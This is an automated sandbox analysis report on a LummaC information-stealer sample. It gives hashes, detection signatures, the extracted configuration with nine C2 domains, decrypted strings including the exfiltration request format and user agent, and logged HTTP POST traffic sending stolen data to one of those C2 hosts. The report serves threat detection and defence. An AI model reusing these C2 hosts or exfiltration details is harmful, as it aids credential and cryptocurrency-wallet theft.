Edit tour

Windows Analysis Report
asbpKOngY0.exe

Overview

General Information

Sample name:	asbpKOngY0.exe renamed because original name is a hash value
Original sample name:	ecd47621cce65ec0aee0e8599a308a3b.exe
Analysis ID:	1429918
MD5:	ecd47621cce65ec0aee0e8599a308a3b
SHA1:	963eec3932fef349eb0bc576692bf86c231f0be1
SHA256:	b870238bf1f561fcbb6b3daf07cec73de2f3d27a942727d33ad0754ca75c85d9
Tags:	32exetrojan
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

asbpKOngY0.exe (PID: 4040 cmdline: "C:\Users\user\Desktop\asbpKOngY0.exe" MD5: ECD47621CCE65EC0AEE0E8599A308A3B)

WerFault.exe (PID: 6928 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 1488 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--superstar"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1889716218.0000000002D17000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1168:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: asbpKOngY0.exe PID: 4040	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: asbpKOngY0.exe PID: 4040	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.asbpKOngY0.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--superstar"}

Multi AV Scanner detection for submitted file

Source: asbpKOngY0.exe

ReversingLabs: Detection: 28%

Machine Learning detection for sample

Source: asbpKOngY0.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: productivelookewr.shop
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: strollheavengwu.shop
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1669159131.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String decryptor: P6Mk0M--superstar

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Code function: 0_2_00415999 CryptUnprotectData,

0_2_00415999

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Unpacked PE file: 0.2.asbpKOngY0.exe.400000.0.unpack

Source: asbpKOngY0.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\asbpKOngY0.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00422458
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0041C540
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	0_2_004357CA
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	0_2_004359E2
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000000A4h]	0_2_00414C49
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_00433D10
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esp+08h]	0_2_00433D10
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00424087
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00424084
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0040D140
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov esi, ebp	0_2_00403260
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00423943
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_0041F234
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then inc ebx	0_2_004142F0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then push 00000000h	0_2_0041E451
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_0041A420
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0041A420
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then jmp ecx	0_2_00414596
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_0041F640
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_004146E6
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+4Ch]	0_2_0042271D
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then inc eax	0_2_004137C9
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then movzx ebx, word ptr [edx]	0_2_0041F828
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0041A8C0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0042F890
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_0042594F
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_004259CD
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_004259D2
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000E0h]	0_2_00411A44
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then inc ebx	0_2_0040FA49
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then movzx ebp, byte ptr [eax+edx]	0_2_00431A70
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then cmp byte ptr [esi+ebx+01h], 00000000h	0_2_0041CAEC
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then jmp edx	0_2_00437C47
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then jmp edx	0_2_00437C45
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+000000C0h]	0_2_00413C46
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_00421CC7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+30h]	0_2_00424CB0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov ecx, dword ptr [esp+00000084h]	0_2_00415D7D
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+000005E0h]	0_2_00413E4A
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_02FF42EE
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_02FF42EB
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_02FDD3A7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then cmp byte ptr [esi+ebx+01h], 00000000h	0_2_02FED377
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+000005E0h]	0_2_02FE40B1
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_02FF26BF
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then push 00000000h	0_2_02FEE6B8
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_02FEA687
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_02FEA687
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then jmp ecx	0_2_02FE47FD
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_02FEC7A7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_02FF3BAA
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov esi, ebp	0_2_02FD34C7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_02FEF49B
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [00440984h]	0_2_02FE7494
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then inc ebx	0_2_02FE4557
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_02FFFAF7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then movzx ebx, word ptr [edx]	0_2_02FEFA8F
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then inc eax	0_2_02FE3A30
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	0_2_03005A31
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_02FF5BB6
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_02FEAB27
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_02FEF8A7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+4Ch]	0_2_02FF2984
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_02FE494D
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000000A4h]	0_2_02FE4EB0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+000000C0h]	0_2_02FE3EAD
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_03003F77
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esp+08h]	0_2_03003F77
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov ecx, dword ptr [esp+00000084h]	0_2_02FE5FE4
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then jmp edx	0_2_03007EAC
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then jmp edx	0_2_03007EAE
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_02FF1F2E
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esi+30h]	0_2_02FF4F17
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then inc ebx	0_2_02FDFCB0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000E0h]	0_2_02FE1CAB
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_02FF5C39
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_02FF5C34
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	0_2_03005C49
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 4x nop then movzx ebp, byte ptr [eax+edx]	0_2_03001CD7

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: strollheavengwu.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 58Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18167Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8788Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20441Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7092Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1421Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 589050Host: strollheavengwu.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: strollheavengwu.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop

Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net
Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: asbpKOngY0.exe, 00000000.00000003.1704916432.0000000005444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: asbpKOngY0.exe, 00000000.00000003.1733514139.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1756890685.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889983989.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
